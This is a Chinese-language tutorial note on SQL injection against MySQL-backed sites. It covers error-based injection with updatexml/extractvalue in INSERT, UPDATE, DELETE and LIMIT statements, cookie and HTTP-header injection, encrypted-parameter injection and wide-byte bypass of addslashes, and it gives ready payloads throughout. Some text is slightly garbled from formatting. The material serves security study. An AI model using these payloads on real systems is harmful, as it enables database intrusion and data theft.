一、mysql报错注入:
1、利用到的mysql函数
extractvalue()
语法:extractvalue(目标xml文档,xml路径)
原理:函数第二个参数 xml路径是可操作的地方,xml路径是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
updatexml()
语法:updatexml(目标xml文档,xml路径,更新的内容)
原理:和上面一致,要是xml路径报错就会出现我们需要查询的内容
2、利用四种报错注入
Insert注入:对用户注册这种类型输入框进行注入
INSERT INTO news(id,name) VALUES (3,'ko' or updatexml (1,concat(0x7e,(version()),0),0))
0x7e就是”~”的ASCII码;concat(11,22,33)=112233;
Update注入:对修改密码这种类型输入框
update users SET password='faker’or updatexml(2,concat(0x7e,(version())),0)or''where username='fucker'
Delete注入:对信息删除类型输入框
delete from sqlfaker where username= '2' or updatexml(2,concat(0x7e,(version())),0)#'
Limit注入:
Select * from sqlfaker.news where id>0 order by id limit0,1 procedure analyse(updatexml (1,concat(0x7e,(version()),0),0))
(procedure analyse是用来在优化表结构时可以辅助参考分析语句)
二、cookie注入:
1、判断网站是否含有cookie注入:
目标网站http://www.xxx.com/x.asp?id=1
第一步:在IE浏览器访问去掉参数(id=1)的url: http://www.xxx.com/x.asp?(加载页面,显示不正常)。
第二步:在IE浏览器输javascript:alert(document.cookie="id="+escape("1"));
(添加cookie信息),再次访问http://www.xxx.com/x.asp?(加载页面,显示正常)。此时这个网页就存在cookie注入,反之没有。
2、利用cookie中转注入:
使用到的工具有:手工注入辅助工具+明小子或者Sqlmap
打开明小子或者sqlmap扫描这个url
三、加密参数注入:
原理:网页设置时将注入的参数进行解密后返回给查询变量,意思就是在网页url里面显示的参数是加密过的,而且一般这种加密过的参数利用工具是寻找不了的,只有通过我们手动去注入。
解决方法:先判断参数是以什么方式加密的,知道加密方式后,将sql注入代码加密后再进行注入
四、请求方式注入:
请求方式注入:对网页的请求方式注入有很多种,例如是get注入、post注入、cookie注入、HTTP请求头注入。
4、HTTP请求头注入:
在一些网站他有设置 I D = ID= ID=_SERVER[‘HTTP_USER_AGENT’]这样的函数,就是接收请求头的信息,我们可以通过拦截工具将useragent信息修改成sql注入代码,然后实现注入
五、宽字节注入:
1、涉及注入的php函数:addslashes()
功能:在每个双引号(")前添加反斜杠
2、绕过方法
绕过字符:%df’
当我们使用%df’面对addslashes函数时会发现如下图效果
配合联合注入,会更加了解到该符号的效果,输入的注入代码为:%df’ union select 1,user(),3#
(简单来说就是%df就是把\吃掉然后变成了�,符号前面就没有\了,后面就可以随心所欲写注入代码了)